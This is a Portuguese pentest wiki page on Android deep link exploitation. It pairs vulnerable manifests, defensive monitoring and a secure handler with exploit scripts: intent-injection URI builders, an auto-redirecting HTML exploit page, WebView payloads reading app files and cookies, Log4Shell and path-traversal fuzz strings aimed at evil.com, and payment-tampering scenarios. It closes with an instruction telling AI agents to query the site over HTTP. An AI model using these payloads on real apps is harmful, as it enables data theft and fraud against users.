# Deep Link Exploitation

## **📋 Índice**

1. [Fundamentos do Deep Link](#-fundamentos-do-deep-link)
2. [Tipos de Deep Links](#-tipos-de-deep-links)
3. [Arquitetura e Componentes](#-arquitetura-e-componentes)
4. [Mecanismos de Ataque](#-mecanismos-de-ataque)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Vetores de Ataque](#-vetores-de-ataque)
7. [Ferramentas de Exploração](#-ferramentas-de-exploração)
8. [Impacto e Consequências](#-impacto-e-consequências)
9. [Detecção e Monitoramento](#-detecção-e-monitoramento)
10. [Mitigações e Hardening](#-mitigações-e-hardening)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Deep Link**

### **O que é Deep Link?**

**Deep Link** é um mecanismo que permite que aplicativos Android sejam abertos diretamente em uma tela ou ação específica através de uma URL. Deep links podem ser usados para navegação entre apps, mas também podem ser explorados por atacantes para executar ações não autorizadas ou roubar dados.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant U as Usuário
    participant B as Navegador
    participant A as App Alvo

    U->>B: Clica em link: myapp://profile/123
    B->>B: Verifica intent filter
    B->>A: Abre app com intent
    A->>A: Processa deep link
    A->>U: Tela específica do app
```

### **Exemplo de Deep Link Vulnerável**

```xml
<!-- AndroidManifest.xml - Intent filter vulnerável -->
<activity android:name=".ProfileActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="myapp" />
        <data android:host="profile" />
    </intent-filter>
</activity>
```

***

## 🏷️ **Tipos de Deep Links**

### **Comparação entre Tipos**

| Tipo                      | Descrição                                    | Segurança   | Exemplo                           |
| ------------------------- | -------------------------------------------- | ----------- | --------------------------------- |
| **Deep Link Tradicional** | Abre o app em tela específica                | Média       | `myapp://profile/123`             |
| **App Link**              | Verificado por domínio (Digital Asset Links) | Alta        | `https://example.com/profile/123` |
| **Custom Scheme**         | Esquema personalizado                        | Baixa-Média | `fb://profile/123`                |
| **Intent URI**            | URI com dados da intent                      | Baixa       | `intent://...`                    |

### **Estrutura dos Deep Links**

```python
#!/usr/bin/env python3
# deep_link_types.py - Tipos de Deep Links

class DeepLinkTypes:
    """Análise dos diferentes tipos de Deep Links"""
    
    @staticmethod
    def custom_scheme():
        """Custom Scheme"""
        print("🔗 Custom Scheme Deep Link")
        print("=" * 60)
        
        examples = [
            "myapp://open",
            "myapp://profile/123",
            "myapp://payment?amount=100&to=user123",
            "twitter://post?message=Hello"
        ]
        
        print("Exemplos:")
        for ex in examples:
            print(f"   {ex}")
        
        print("\nRiscos:")
        print("   • Qualquer app pode registrar o mesmo scheme")
        print("   • Falta de verificação de origem")
        print("   • Suscetível a phishing")
    
    @staticmethod
    def app_links():
        """App Links (Verificados)"""
        print("\n🔒 App Links (Digital Asset Links)")
        print("=" * 60)
        
        examples = [
            "https://example.com/profile/123",
            "https://myapp.example.com/payment/complete"
        ]
        
        print("Exemplos:")
        for ex in examples:
            print(f"   {ex}")
        
        print("\nVantagens:")
        print("   • Verificação de domínio via assetlinks.json")
        print("   • Mais seguro que custom scheme")
        print("   • Suporte a fallback web")
    
    @staticmethod
    def intent_uris():
        """Intent URIs"""
        print("\n📱 Intent URIs")
        print("=" * 60)
        
        examples = [
            "intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end",
            "intent://pay?amount=100#Intent;scheme=myapp;package=com.example.app;end"
        ]
        
        print("Exemplos:")
        for ex in examples:
            print(f"   {ex}")
        
        print("\nRiscos:")
        print("   • Permite especificar componente e ação")
        print("   • Pode ser usado para intent injection")
        print("   • Alta severidade se mal validado")

# Executar
DeepLinkTypes.custom_scheme()
DeepLinkTypes.app_links()
DeepLinkTypes.intent_uris()
```

***

## 🏗️ **Arquitetura e Componentes**

### **Componentes do Deep Link**

```yaml
Componentes Principais:

  🔵 Intent Filter:
    - Define quais URIs o app responde
    - Configurado no AndroidManifest.xml
  
  🔵 Data Tags:
    - scheme: Protocolo (http, https, custom)
    - host: Domínio ou hostname
    - port: Porta (opcional)
    - path: Caminho específico
    - pathPattern: Padrão de caminho
    - pathPrefix: Prefixo do caminho
  
  🔵 Digital Asset Links:
    - Verificação de domínio para App Links
    - Arquivo assetlinks.json no servidor
    - Associação entre app e domínio
```

### **Intent Filter Vulnerável**

```xml
<!-- AndroidManifest.xml - Intent Filter Vulnerável -->
<activity android:name=".WebViewActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        
        <!-- Scheme perigoso -->
        <data android:scheme="http" />
        <data android:scheme="https" />
        
        <!-- Host genérico -->
        <data android:host="*" />
        
        <!-- Path com parâmetro -->
        <data android:pathPattern="/.*\\.html" />
    </intent-filter>
</activity>
```

### **Processamento de Deep Link**

```java
// VulnerableActivity.java - Processamento vulnerável

public class VulnerableActivity extends Activity {
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        Uri data = getIntent().getData();
        
        if (data != null) {
            // 1. Vulnerável: executa ação baseada no URI
            String action = data.getQueryParameter("action");
            if ("delete".equals(action)) {
                deleteFile(data.getQueryParameter("file"));
            }
            
            // 2. Vulnerável: abre URL sem validação
            String url = data.getQueryParameter("url");
            if (url != null) {
                webView.loadUrl(url);
            }
            
            // 3. Vulnerável: redireciona sem validação
            String redirect = data.getQueryParameter("redirect");
            if (redirect != null) {
                startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse(redirect)));
            }
        }
    }
}
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo do Ataque**

```mermaid
graph TD
    A[Atacante cria deep link malicioso] --> B[Envia via phishing/SMS]
    B --> C[Usuário clica no link]
    C --> D[App abre com intent]
    
    D --> E{Validação do deep link?}
    E -->|Fraca| F[Executa ação maliciosa]
    E -->|Inexistente| F
    
    F --> G[Roubo de dados]
    F --> H[Execução de ações]
    F --> I[Redirecionamento]
    
    G --> J[Comprometimento]
    H --> J
    I --> J
    
    style D fill:#ffcc99
    style E fill:#ff9999
    style J fill:#ff3333
```

### **Vetores de Ataque**

```yaml
Vetores Comuns:

  🔴 Intent Injection:
    - Injeção de dados via Intent extras
    - URI com parâmetros maliciosos
    - Componentes não exportados expostos

  🔴 Open Redirect:
    - Redirecionamento para URLs maliciosas
    - WebView sem validação
    - File scheme abuse

  🔴 Data Leakage:
    - Exposição de dados via URI
    - Logging de deep links
    - Transmissão de dados sensíveis

  🔴 CSRF-like:
    - Ações executadas via deep link
    - Falta de tokens CSRF
    - Ações destrutivas
```

***

## 🔧 **Técnicas de Exploração**

### **Técnica 1: Intent Injection**

```python
#!/usr/bin/env python3
# intent_injection.py - Injeção via Deep Link

import urllib.parse

class IntentInjection:
    """Exploração de intent injection via deep links"""
    
    @staticmethod
    def create_malicious_uri(target_package, target_class, **extras):
        """Criar URI maliciosa para intent injection"""
        print("[*] Criando URI para intent injection...")
        
        # Construir intent URI
        intent_uri = "intent://"
        
        # Adicionar extras
        if extras:
            intent_uri += "#Intent;"
            for key, value in extras.items():
                intent_uri += f"{key}={value};"
            intent_uri += f"package={target_package};"
            intent_uri += f"component={target_package}/{target_class};"
        else:
            intent_uri += f"#Intent;package={target_package};component={target_package}/{target_class};"
        
        intent_uri += "end"
        
        print(f"   URI: {intent_uri}")
        return intent_uri
    
    @staticmethod
    def create_malicious_html(target_package, target_class):
        """Criar HTML para intent injection via navegador"""
        html = f"""
        <!DOCTYPE html>
        <html>
        <head>
            <title>Intent Injection</title>
        </head>
        <body>
            <h1>Click to exploit</h1>
            <a href="intent://#Intent;package={target_package};component={target_package}/{target_class};end">
                Clique aqui
            </a>
            
            <script>
                // Auto redirect
                window.location.href = "intent://#Intent;package={target_package};component={target_package}/{target_class};end";
            </script>
        </body>
        </html>
        """
        
        print(f"[+] HTML gerado:\n{html}")
        return html
    
    @staticmethod
    def test_intent_injection(app_package, vulnerable_class):
        """Testar intent injection"""
        print(f"\n[*] Testando intent injection em {app_package}/{vulnerable_class}")
        
        # Payloads para teste
        payloads = [
            {"S.android.intent.extra.TEXT": "Malicious text"},
            {"S.key": "malicious_value"},
            {"S.url": "http://evil.com"},
            {"S.redirect": "http://evil.com"},
            {"S.filename": "../../../data/data/com.example.app/database"}
        ]
        
        for payload in payloads:
            uri = IntentInjection.create_malicious_uri(
                app_package, vulnerable_class, **payload
            )
            print(f"   Testando: {payload}")
            print(f"   URI: {uri[:100]}...")

# Uso
if __name__ == "__main__":
    print("🔗 Intent Injection via Deep Link")
    print("=" * 60)
    
    IntentInjection.create_malicious_uri(
        "com.example.app", 
        "com.example.app.MainActivity",
        S_action="DELETE",
        S_file="user_data.txt"
    )
    
    IntentInjection.create_malicious_html(
        "com.example.app",
        "com.example.app.WebViewActivity"
    )
```

### **Técnica 2: Open Redirect via WebView**

```java
// WebViewRedirectExploit.java - Exploração de redirect via WebView

public class WebViewRedirectExploit {
    
    // 1. Deep link vulnerável que abre WebView
    public static String createMaliciousDeepLink(String targetUrl) {
        return "myapp://webview?url=" + Uri.encode(targetUrl);
    }
    
    // 2. Payloads para bypass de validação
    public static String[] getBypassPayloads() {
        return new String[]{
            "http://evil.com",
            "https://evil.com",
            "http://trusted.com@evil.com",
            "https://trusted.com.evil.com",
            "file:///data/data/com.example.app/database",
            "javascript:alert('XSS')",
            "data:text/html,<script>alert(1)</script>"
        };
    }
    
    // 3. Exploração de file scheme
    public static String createFileSchemeExploit() {
        return "myapp://webview?url=file:///data/data/com.example.app/shared_prefs/config.xml";
    }
    
    // 4. Exploração de javascript scheme
    public static String createJavaScriptExploit() {
        return "myapp://webview?url=javascript:document.cookie";
    }
}
```

### **Técnica 3: Parameter Tampering**

```python
#!/usr/bin/env python3
# parameter_tampering.py - Parameter tampering via deep link

import urllib.parse

class ParameterTampering:
    """Exploração de parameter tampering em deep links"""
    
    @staticmethod
    def tamper_parameters(base_uri, modifications):
        """Modificar parâmetros do deep link"""
        print("[*] Tampering parameters...")
        
        parsed = urllib.parse.urlparse(base_uri)
        query_params = urllib.parse.parse_qs(parsed.query)
        
        # Aplicar modificações
        for key, value in modifications.items():
            query_params[key] = [value]
        
        # Reconstruir URI
        new_query = urllib.parse.urlencode(query_params, doseq=True)
        new_uri = urllib.parse.urlunparse((
            parsed.scheme, parsed.netloc, parsed.path,
            parsed.params, new_query, parsed.fragment
        ))
        
        print(f"   Original: {base_uri}")
        print(f"   Modificado: {new_uri}")
        
        return new_uri
    
    @staticmethod
    def exploit_scenarios():
        """Cenários de exploração"""
        print("\n[*] Cenários de exploração:")
        
        scenarios = [
            {
                "name": "Privilege Escalation",
                "original": "myapp://admin?action=view",
                "modifications": {"action": "delete", "user_id": "1"}
            },
            {
                "name": "Data Theft",
                "original": "myapp://profile?user_id=123",
                "modifications": {"user_id": "456"}
            },
            {
                "name": "Payment Manipulation",
                "original": "myapp://pay?amount=10&to=user1",
                "modifications": {"amount": "10000", "to": "attacker"}
            },
            {
                "name": "Auth Bypass",
                "original": "myapp://login?token=valid",
                "modifications": {"token": "admin"}
            }
        ]
        
        for scenario in scenarios:
            print(f"\n   {scenario['name']}:")
            ParameterTampering.tamper_parameters(
                scenario['original'],
                scenario['modifications']
            )
    
    @staticmethod
    def fuzzing_payloads():
        """Payloads para fuzzing de parâmetros"""
        print("\n[*] Payloads para fuzzing:")
        
        payloads = [
            ("user_id", ["1", "0", "-1", "999999", "' OR '1'='1", "admin"]),
            ("action", ["view", "edit", "delete", "create", "admin", "root"]),
            ("amount", ["0", "-1", "999999", "1e10", "NaN", "Infinity"]),
            ("redirect", ["http://evil.com", "https://evil.com", "file:///etc/passwd"]),
            ("file", ["../../../etc/passwd", "..\\..\\..\\Windows\\System32\\config\\SAM"])
        ]
        
        for param, values in payloads:
            print(f"\n   Parâmetro: {param}")
            for value in values:
                print(f"      • {value}")

# Uso
if __name__ == "__main__":
    print("🔗 Parameter Tampering via Deep Link")
    print("=" * 60)
    
    ParameterTampering.exploit_scenarios()
    ParameterTampering.fuzzing_payloads()
```

### **Técnica 4: App Link Spoofing**

```python
#!/usr/bin/env python3
# app_link_spoofing.py - Spoofing de App Links

import json

class AppLinkSpoofing:
    """Spoofing de App Links verificados"""
    
    @staticmethod
    def create_fake_assetlinks(domain, package_name, signatures):
        """Criar assetlinks.json falso"""
        print(f"[*] Criando assetlinks.json para {domain}")
        
        assetlinks = []
        
        for signature in signatures:
            assetlinks.append({
                "relation": ["delegate_permission/common.handle_all_urls"],
                "target": {
                    "namespace": "android_app",
                    "package_name": package_name,
                    "sha256_cert_fingerprints": [signature]
                }
            })
        
        assetlinks_json = json.dumps(assetlinks, indent=2)
        
        print(f"   assetlinks.json:\n{assetlinks_json}")
        return assetlinks_json
    
    @staticmethod
    def spoofing_attack(trusted_domain, malicious_domain):
        """Ataque de spoofing"""
        print(f"\n[*] Ataque de spoofing: {trusted_domain} -> {malicious_domain}")
        
        # Criar link malicioso
        malicious_link = f"https://{malicious_domain}/auth?token=admin"
        
        print(f"   Link malicioso: {malicious_link}")
        print(f"   Usuário vê: https://{trusted_domain}/auth?token=admin")
        print("   Navegador abre o app malicioso")
        
        return malicious_link
    
    @staticmethod
    def bypass_package_verification():
        """Bypass de verificação de pacote"""
        print("\n[*] Bypass de verificação de pacote:")
        
        techniques = [
            "Instalar app malicioso com mesmo package name",
            "Exploitar falha na verificação de assinatura",
            "Usar pacote de sistema com permissões elevadas",
            "Abusar de deep links em apps pré-instalados"
        ]
        
        for tech in techniques:
            print(f"   • {tech}")

# Uso
if __name__ == "__main__":
    print("🔗 App Link Spoofing")
    print("=" * 60)
    
    # Criar assetlinks falso
    AppLinkSpoofing.create_fake_assetlinks(
        "example.com",
        "com.malicious.app",
        ["AA:BB:CC:DD:EE:FF:00:11:22:33:44:55:66:77:88:99:AA:BB:CC:DD:EE:FF:00:11:22:33:44:55:66:77:88:99"]
    )
    
    # Ataque de spoofing
    AppLinkSpoofing.spoofing_attack("trusted.com", "trusted.com.malicious.com")
    AppLinkSpoofing.bypass_package_verification()
```

### **Técnica 5: Deep Link Fuzzing**

```python
#!/usr/bin/env python3
# deep_link_fuzzing.py - Fuzzing de deep links

import subprocess
import sys

class DeepLinkFuzzer:
    """Fuzzing de deep links em aplicações Android"""
    
    @staticmethod
    def extract_deep_links(apk_path):
        """Extrair deep links do APK"""
        print(f"[*] Extraindo deep links de {apk_path}")
        
        # Usar aapt para extrair intent filters
        cmd = ['aapt', 'dump', 'xmltree', apk_path, 'AndroidManifest.xml']
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(result.stdout)
        except Exception as e:
            print(f"   Erro: {e}")
    
    @staticmethod
    def generate_fuzz_payloads(base_uri):
        """Gerar payloads para fuzzing"""
        print(f"\n[*] Gerando payloads para {base_uri}")
        
        payloads = [
            # Path traversal
            ("path", "../../../"),
            ("path", "....//"),
            ("path", "%2e%2e%2f"),
            
            # Injection
            ("param", "' OR '1'='1"),
            ("param", "<script>alert(1)</script>"),
            ("param", "${jndi:ldap://evil.com/a}"),
            
            # Overflow
            ("param", "A" * 10000),
            ("param", "A" * 100000),
            
            # Special chars
            ("param", "\x00\x01\x02\x03"),
            ("param", "%00%01%02%03"),
            
            # Scheme abuse
            ("scheme", "javascript:"),
            ("scheme", "data:"),
            ("scheme", "file:"),
            ("scheme", "content:")
        ]
        
        for param, value in payloads:
            print(f"   {param}={value}")
    
    @staticmethod
    def test_deep_link(uri, package):
        """Testar deep link no dispositivo"""
        print(f"\n[*] Testando deep link: {uri}")
        
        cmd = ['adb', 'shell', 'am', 'start', '-a', 'android.intent.action.VIEW', '-d', uri]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            if "Error" in result.stderr:
                print(f"   ❌ Erro: {result.stderr}")
            else:
                print(f"   ✅ Executado")
        except Exception as e:
            print(f"   ❌ Erro: {e}")

# Uso
if __name__ == "__main__":
    print("🔗 Deep Link Fuzzing")
    print("=" * 60)
    
    if len(sys.argv) > 1:
        DeepLinkFuzzer.extract_deep_links(sys.argv[1])
    else:
        print("Uso: deep_link_fuzzing.py <apk_path>")
    
    DeepLinkFuzzer.generate_fuzz_payloads("myapp://profile/123")
```

***

## 🔍 **Detecção e Monitoramento**

### **Monitoramento de Deep Links**

```python
#!/usr/bin/env python3
# deep_link_monitor.py - Monitoramento de deep links

import subprocess
import re

class DeepLinkMonitor:
    """Monitor de deep links suspeitos"""
    
    @staticmethod
    def monitor_logcat():
        """Monitorar logcat por deep links"""
        print("[*] Monitorando logcat...")
        
        cmd = ['adb', 'logcat', '-s', 'ActivityManager', 'Intent']
        
        # Padrões suspeitos
        patterns = [
            r'intent:\/\/',
            r'myapp:\/\/',
            r'scheme:\s*\w+',
            r'data:\s*\S+',
            r'extra:\s*\S+'
        ]
        
        print("   Padrões monitorados:")
        for p in patterns:
            print(f"      {p}")
    
    @staticmethod
    def analyze_adb_logs():
        """Analisar logs do ADB"""
        print("\n[*] Analisando logs do ADB...")
        
        cmd = ['adb', 'logcat', '-d']
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        suspicious = [
            r'START.*intent:',
            r'LaunchParams.*intent',
            r'ActivityManager.*START',
            r'android.intent.action.VIEW'
        ]
        
        for pattern in suspicious:
            matches = re.findall(pattern, result.stdout, re.IGNORECASE)
            if matches:
                print(f"   {pattern}: {len(matches)} ocorrências")
    
    @staticmethod
    def detect_anomalies():
        """Detectar anomalias em deep links"""
        print("\n[*] Detectando anomalias:")
        
        anomalies = {
            "Parameter injection": "Parâmetros com caracteres especiais",
            "Path traversal": "Tentativas de ../",
            "File scheme": "Uso de file://",
            "JavaScript scheme": "Uso de javascript:",
            "Oversized URIs": "URIs muito longas"
        }
        
        for anomaly, desc in anomalies.items():
            print(f"   • {anomaly}: {desc}")

# Uso
if __name__ == "__main__":
    print("🔍 Deep Link Monitor")
    print("=" * 60)
    
    DeepLinkMonitor.monitor_logcat()
    DeepLinkMonitor.analyze_adb_logs()
    DeepLinkMonitor.detect_anomalies()
```

***

## 🛡️ **Mitigações e Hardening**

### **Implementação Segura**

```java
// SecureDeepLinkHandler.java - Implementação segura de deep links

import android.net.Uri;
import android.os.Bundle;
import android.webkit.WebView;
import androidx.appcompat.app.AppCompatActivity;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;

public class SecureDeepLinkHandler extends AppCompatActivity {
    
    // 1. Whitelist de hosts permitidos
    private static final Set<String> ALLOWED_HOSTS = new HashSet<>(Arrays.asList(
        "api.example.com",
        "secure.example.com",
        "www.example.com"
    ));
    
    // 2. Whitelist de paths permitidos
    private static final Set<String> ALLOWED_PATHS = new HashSet<>(Arrays.asList(
        "/profile",
        "/settings",
        "/payment/confirm"
    ));
    
    // 3. Whitelist de ações permitidas
    private static final Set<String> ALLOWED_ACTIONS = new HashSet<>(Arrays.asList(
        "view",
        "edit",
        "confirm"
    ));
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        Uri data = getIntent().getData();
        
        if (data != null && validateDeepLink(data)) {
            processDeepLink(data);
        } else {
            // Redirecionar para tela segura
            redirectToSafeScreen();
        }
    }
    
    private boolean validateDeepLink(Uri uri) {
        // 1. Verificar scheme
        if (!"https".equals(uri.getScheme()) && !"myapp".equals(uri.getScheme())) {
            return false;
        }
        
        // 2. Verificar host
        if (!ALLOWED_HOSTS.contains(uri.getHost())) {
            return false;
        }
        
        // 3. Verificar path
        String path = uri.getPath();
        if (!ALLOWED_PATHS.contains(path)) {
            return false;
        }
        
        // 4. Verificar parâmetros
        String action = uri.getQueryParameter("action");
        if (action != null && !ALLOWED_ACTIONS.contains(action)) {
            return false;
        }
        
        // 5. Verificar URL de redirecionamento
        String redirectUrl = uri.getQueryParameter("redirect");
        if (redirectUrl != null && !isValidRedirectUrl(redirectUrl)) {
            return false;
        }
        
        return true;
    }
    
    private boolean isValidRedirectUrl(String url) {
        try {
            Uri parsed = Uri.parse(url);
            return ALLOWED_HOSTS.contains(parsed.getHost());
        } catch (Exception e) {
            return false;
        }
    }
    
    private void processDeepLink(Uri uri) {
        String action = uri.getQueryParameter("action");
        
        switch (action) {
            case "view":
                showProfile(uri.getQueryParameter("user_id"));
                break;
            case "edit":
                editProfile(uri.getQueryParameter("user_id"));
                break;
            case "confirm":
                confirmPayment(uri.getQueryParameter("payment_id"));
                break;
            default:
                redirectToSafeScreen();
        }
    }
    
    private void redirectToSafeScreen() {
        // Redirecionar para tela segura
    }
    
    private void showProfile(String userId) {
        // Implementação segura
    }
    
    private void editProfile(String userId) {
        // Implementação segura
    }
    
    private void confirmPayment(String paymentId) {
        // Implementação segura
    }
}
```

### **Proteções Adicionais**

```xml
<!-- AndroidManifest.xml - Configuração segura -->
<activity android:name=".SecureDeepLinkHandler">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        
        <!-- Usar App Links em vez de custom scheme -->
        <data android:scheme="https" />
        <data android:host="api.example.com" />
        <data android:pathPrefix="/profile" />
        <data android:pathPrefix="/settings" />
    </intent-filter>
</activity>
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

* [ ] Usar App Links (https) em vez de custom schemes
* [ ] Implementar whitelist de hosts e paths
* [ ] Validar todos os parâmetros recebidos
* [ ] Não executar ações destrutivas via deep link
* [ ] Implementar tokens CSRF para ações sensíveis
* [ ] Validar URLs de redirecionamento
* [ ] Usar Digital Asset Links para verificação de domínio

### **Checklist para Pentesters**

* [ ] Extrair deep links do APK
* [ ] Testar parameter tampering
* [ ] Testar path traversal
* [ ] Testar intent injection
* [ ] Testar open redirect
* [ ] Testar file scheme abuse
* [ ] Testar JavaScript scheme injection

***

## 📊 **Conclusão**

```yaml
Deep Link Exploitation:

  🔴 Principais Vetores:
    - Intent injection
    - Parameter tampering
    - Open redirect
    - Path traversal
    - File scheme abuse

  🛡️ Mitigações Essenciais:
    - Whitelist de hosts/paths
    - Validação rigorosa de parâmetros
    - App Links em vez de custom schemes
    - Digital Asset Links
    - Tokens CSRF

  🎯 Prioridade:
    - CRÍTICA: Apps financeiros/bancários
    - ALTA: Apps com ações destrutivas
    - MÉDIA: Apps informacionais
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/android/deep-link-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.